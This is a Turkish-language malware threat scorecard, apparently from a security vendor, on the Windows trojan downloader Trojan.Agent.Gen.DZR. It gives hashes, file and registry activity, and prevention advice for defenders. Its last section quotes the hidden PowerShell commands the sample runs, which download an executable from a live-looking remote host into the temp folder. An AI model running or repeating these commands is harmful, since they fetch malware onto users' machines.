Trojan.Agent.Gen.DZR
Tehdit Puan Kartı
EnigmaSoft Tehdit Puan Kartı
EnigmaSoft Tehdit Puan Kartları, araştırma ekibimiz tarafından toplanan ve analiz edilen farklı kötü amaçlı yazılım tehditleri için değerlendirme raporlarıdır. EnigmaSoft Tehdit Puan Kartları, gerçek dünya ve potansiyel risk faktörleri, eğilimler, sıklık, yaygınlık ve kalıcılık dahil olmak üzere çeşitli ölçümleri kullanarak tehditleri değerlendirir ve sıralar. EnigmaSoft Tehdit Puan Kartları, araştırma verilerimize ve ölçümlerimize dayalı olarak düzenli olarak güncellenir ve kötü amaçlı yazılımları sistemlerinden kaldırmak için çözümler arayan son kullanıcılardan tehditleri analiz eden güvenlik uzmanlarına kadar çok çeşitli bilgisayar kullanıcıları için yararlıdır.
EnigmaSoft Tehdit Puan Kartları, aşağıdakiler de dahil olmak üzere çeşitli yararlı bilgiler görüntüler:
Popülerlik Sıralaması: Belirli bir tehdidin EnigmaSoft'un Tehdit Veritabanındaki sıralaması.
Önem Düzeyi: Tehdit Değerlendirme Kriterlerimizde açıklandığı gibi, risk modelleme sürecimize ve araştırmamıza dayalı olarak sayısal olarak gösterilen, bir nesnenin belirlenen önem düzeyi.
Enfekte Bilgisayarlar: SpyHunter tarafından bildirildiği üzere, virüslü bilgisayarlarda tespit edilen belirli bir tehdidin doğrulanmış ve şüphelenilen vakalarının sayısı.
Ayrıca bkz. Tehdit Değerlendirme Kriterleri .
| Popülerlik Sıralaması: | 19,710 |
| Tehlike seviyesi: | 80 % (Yüksek) |
| İlk görüş: | July 18, 2026 |
| Son görülen: | September 1, 2026 |
| Etkilenen İşletim Sistemleri: | Windows |
Trojan.Agent.Gen.DZR, Windows bilgisayarları hedef alan tehlikeli bir Truva atıdır. Yüksek tehlike seviyesinde sınıflandırılan bu tehdit, sistemlere sessizce sızmak, arka planda kötü amaçlı kod çalıştırmak ve daha fazla güvenlik açığına yol açmak üzere tasarlanmıştır. Son aylarda aktif olduğu gözlemlenmiştir ve davranış modeli, enfekte olmuş makinelere ek kötü amaçlı yükler göndermek için yaygın olarak kullanılan diğer genel Truva atı indiricileriyle tutarlıdır.
İçindekiler
Trojan.Agent.Gen.DZR Ne İşe Yarar?
Bir sisteme bulaştıktan sonra, Trojan.Agent.Gen.DZR görünür bir pencere veya belirgin işaret bırakmadan arka planda sessizce çalışır, bu da ortalama bir kullanıcının fark etmesini zorlaştırır. Davranışının analizi, bu virüsün, uzaktaki sunuculardan bulaşmış bilgisayara ek dosyaları sessizce indirmek için Windows komut satırı üzerinden yürütülen gizli PowerShell komutlarına büyük ölçüde dayandığını göstermektedir. İndirilen bu dosyalar genellikle geçici klasörlere kaydedilir ve daha fazla kötü amaçlı bileşen yüklemek için kullanılabilir.
Truva atı, veri gönderip almak için standart internet bağlantı işlevlerini kullanarak ağ üzerinden uzak sunucularla iletişim kurar; bu da saldırganlara bilgi aktarabileceğini veya yeni talimatlar ve zararlı yazılımlar indirebileceğini düşündürmektedir. Kullanıcı adı, bilgisayar adı ve ağ yapılandırması gibi bilgisayar hakkında temel bilgiler toplar; bu da saldırganların daha fazla saldırı düzenlemesine veya başarılı bir enfeksiyonu doğrulamasına yardımcı olabilir. Zararlı yazılım ayrıca, hata ayıklama araçlarının varlığını kontrol etme ve kendi işlem belleğini manipüle etme gibi tespit ve analizden kaçınmak için yaygın olarak kullanılan teknikleri de içerir. Gizlilik, uzaktan iletişim ve daha fazla zararlı yazılımı indirme ve çalıştırma yeteneğinin bu kombinasyonu, bilgisayar korsanlarının ele geçirilen sistem üzerinde kapsamlı kontrol elde etmelerine olanak sağlayabileceğinden, onu ciddi bir tehdit haline getirir.
Genellikle Bilgisayarlara Nasıl Bulaşır?
Trojan.Agent.Gen.DZR, genellikle tek bir güvenlik açığını istismar etmek yerine aldatıcı yollarla yayılır. Bu tür tehditlerin yaygın bulaşma yolları arasında güvenilmez veya kötü amaçlı web sitelerinden indirilen yazılımlar, paketlenmiş yükleyiciler ve yürütülebilir dosyalar, resimler veya video dosyaları gibi zararsız dosyalar gibi görünen e-posta ekleri bulunur. Bazı durumlarda, bu tür Truva atları, kullanıcının bilgisi veya onayı olmadan kendilerini kurmak için yamalanmamış sistem güvenlik açıklarından yararlanır. Kurulum işlemi sessiz olacak şekilde tasarlandığı için, mağdurlar genellikle bilgisayarlarında herhangi bir şeyin değiştiğine dair hiçbir belirti görmezler.
Kullanıcı İçin Riskler
Trojan.Agent.Gen.DZR, yüklendikten sonra kullanıcıyı ciddi risklere maruz bırakabilir. Sessizce ek dosyaları indirip çalıştırma yeteneği, casus yazılım, fidye yazılımı veya uzaktan erişim araçları da dahil olmak üzere diğer kötü amaçlı yazılımlar için bir geçit görevi görebileceği anlamına gelir. Bilgi toplama yetenekleri gizlilik konusunda endişelere yol açarken, ağ iletişimi özellikleri saldırganların uzaktan komut verebileceğini veya veri sızdırabileceğini düşündürmektedir. Genel olarak, enfekte olmuş bir makine artık güvenilir veya güvenli olarak kabul edilemez.
Enfeksiyon Belirtileri
Bu Truva atı gizlice çalışacak şekilde tasarlandığı için, görünür belirtiler genellikle minimaldir. Kullanıcılar beklenmedik ağ etkinliği, alışılmadık işlemler veya ekranda kısa süreliğine yanıp sönen PowerShell pencereleri, yavaş sistem performansı veya geçici klasörlerde bilinmeyen dosyaların görünmesi gibi durumlar fark edebilirler. Şüpheli etkinliği işaretleyen güvenlik yazılımı uyarıları genellikle enfeksiyonun en güvenilir göstergesidir.
Korunmanın Yolları
Bulaşma riskini azaltmak için kullanıcılar, özellikle belge veya resim gibi görünen yürütülebilir dosyalar olmak üzere, bilinmeyen veya doğrulanmamış göndericilerden gelen e-posta eklerini açmaktan kaçınmalıdır. Windows işletim sistemini ve yüklü yazılımları güncel tutmak, Truva atlarının sıklıkla kullandığı güvenlik açıklarını kapatmaya yardımcı olur. Yazılımları yalnızca resmi ve güvenilir kaynaklardan indirmek, korsan içerikten kaçınmak ve önemli verilerin düzenli yedeklerini almak da güçlü savunma alışkanlıklarıdır. Güvenilir, güncel güvenlik yazılımları çalıştırmak ve beklenmedik uyarılar veya indirmeler konusunda dikkatli olmak, sistemleri Trojan.Agent.Gen.DZR gibi tehditlerden korumada büyük fayda sağlar.
Analiz raporu
Genel bilgi
| Soyadı: | Trojan.Agent.Gen.DZR |
|---|---|
| İmza durumu: | No Signature |
Bilinen Örnekler
Bilinen Örnekler
Bu bölümde, bu aileyle ilişkili olduğuna inanılan diğer dosya örnekleri listelenmiştir.|
MD5:
446f7c40546602daea4c68d1747fda95
SHA1:
df4496e25c7e5ff36d95fc358c3ca3f386dfe81a
SHA256:
D3295CA27022958FB1448443351B895CB7BDDB674983BFC701FAC90A38CD32DA
Dosya boyutu:
408.06 KB.408064 bayt
|
Windows Taşınabilir Çalıştırılabilir Dosya Özellikleri
- File doesn't have "Rich" header
- File doesn't have exports table
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is console application (IMAGE_SUBSYSTEM_WINDOWS_CUI)
- File is either console or GUI application
- File is Native application (NOT .NET application)
- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
Show 1 more
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
Dosya Özellikleri
- GetConsoleWindow
- No Version Info
- x64
Blok Bilgileri
Blok Bilgileri
Analiz sırasında EnigmaSoft, dosya örneklerini sınıflandırma ve diğer örneklerle karşılaştırma için mantıksal bloklara ayırır. Bloklar, kötü amaçlı yazılım tespit kuralları oluşturmak ve dosya örneklerini paylaşılan kaynak koduna, işlevselliğe ve diğer ayırt edici özelliklere ve niteliklere göre gruplara ayırmak için kullanılabilir. Bu bölümde, bu blok verilerinin bir özeti ve EnigmaSoft tarafından yapılan sınıflandırması listelenmiştir. Ayrıca, mevcutsa, blok verilerinin görsel bir temsili de gösterilmektedir.| Toplam Blok Sayısı: | 1,065 |
|---|---|
| Potansiyel Olarak Zararlı Bloklar: | 186 |
| Beyaz Listeye Alınan Bloklar: | 826 |
| Bilinmeyen Bloklar: | 53 |
Görsel Harita
? - Bilinmeyen Blok
x - Potansiyel Olarak Kötü Amaçlı Engelleme
Benzer Aileler
Benzer Aileler
Bu bölümde, EnigmaSoft'un analizine dayanarak bu aileyle benzerlikler gösteren diğer aileler listelenmiştir. Birçok kötü amaçlı yazılım ailesi aynı kötü amaçlı yazılım araç setlerinden oluşturulur ve aynı paketleme ve şifreleme tekniklerini kullanır, ancak işlevselliği benzersiz bir şekilde genişletir. Benzer aileler ayrıca kaynak kodunu, öznitelikleri, simgeleri, alt bileşenleri, tehlikeye atılmış ve/veya geçersiz dijital imzaları ve ağ özelliklerini de paylaşabilir. Araştırmacılar, dosya örneklerini hızlı ve etkili bir şekilde sınıflandırmak ve kötü amaçlı yazılım tespit kurallarını genişletmek için bu benzerliklerden yararlanır.- Gamehack.ACC
- Trojan.Agent.Gen.DNW
- Trojan.Agent.Gen.DZR
Değiştirilen Dosyalar
Değiştirilen Dosyalar
Bu bölümde, bu ailedeki örnekler tarafından oluşturulan, değiştirilen, taşınan ve/veya silinen dosyalar listelenmiştir. Dosya sistemi etkinliği, kötü amaçlı yazılımların işletim sisteminde nasıl çalıştığına dair değerli bilgiler sağlayabilir.| Dosya | Özellikler |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134327898198774855.9476.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_3huww40m.5di.ps1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_bop1xh1n.hgm.psm1 | Generic Write,Read Attributes |
Sicil Değişiklikleri
Sicil Değişiklikleri
Bu bölümde, bu ailedeki örnekler tarafından oluşturulan, değiştirilen ve/veya silinen kayıt defteri anahtarları ve değerleri listelenmiştir. Windows Kayıt Defteri etkinliği, kötü amaçlı yazılımların işlevselliği hakkında değerli bilgiler sağlayabilir. Ek olarak, kötü amaçlı yazılımlar genellikle, ilk enfeksiyon sistemi tehlikeye attıktan sonra otomatik olarak başlamasına ve süresiz olarak kalmasına olanak sağlamak için kayıt defteri değerleri oluşturur.| Anahtar::Değer | Veri | API Adı |
|---|---|---|
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | 畧Ｄ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe | ﶱｌ㪂ǝ | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | 必ｏ㪂ǝ | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Show 7 more
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
Windows API Kullanımı
Windows API Kullanımı
Bu bölümde, bu ailedeki örnekler tarafından kullanılan Windows API çağrıları listelenmiştir. Windows API kullanım analizi, keylogging, güvenlik ayrıcalığı yükseltme, veri şifreleme, veri sızdırma, antivirüs yazılımlarına müdahale ve ağ isteği manipülasyonu gibi kötü amaçlı faaliyetleri belirlemeye yardımcı olabilecek değerli bir araçtır.| Kategori | API |
|---|---|
| Syscall Use |
Show 90 more
Yukarıda gösterilmeyen 31 ek ürün daha bulunmaktadır. |
| Process Manipulation Evasion |
|
| Process Shell Execute |
|
| Anti Debug |
|
| User Data Access |
|
| Encryption Used |
|
| Other Suspicious |
|
| Network Info Queried |
|
| Network Winsock2 |
|
| Network Winsock |
|
| Network Winhttp |
|
Kabuk Komutu Yürütme
Kabuk Komutu Yürütme
Bu bölümde, bu ailedeki örnekler tarafından çalıştırılan Windows kabuk komutları listelenmiştir. Windows kabuk komutları genellikle kötü amaçlı yazılımlar tarafından zararlı amaçlarla kullanılır ve güvenlik ayrıcalıklarını yükseltmek, diğer kötü amaçlı yazılımları indirip çalıştırmak, güvenlik açıklarından yararlanmak, veri toplamak ve sızdırmak ve kötü amaçlı faaliyetleri gizlemek için kullanılabilir.
C:\WINDOWS\system32\cmd.exe cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=mffkdrh5DYZO' -OutFile $env:TEMP\BK953836.exe
|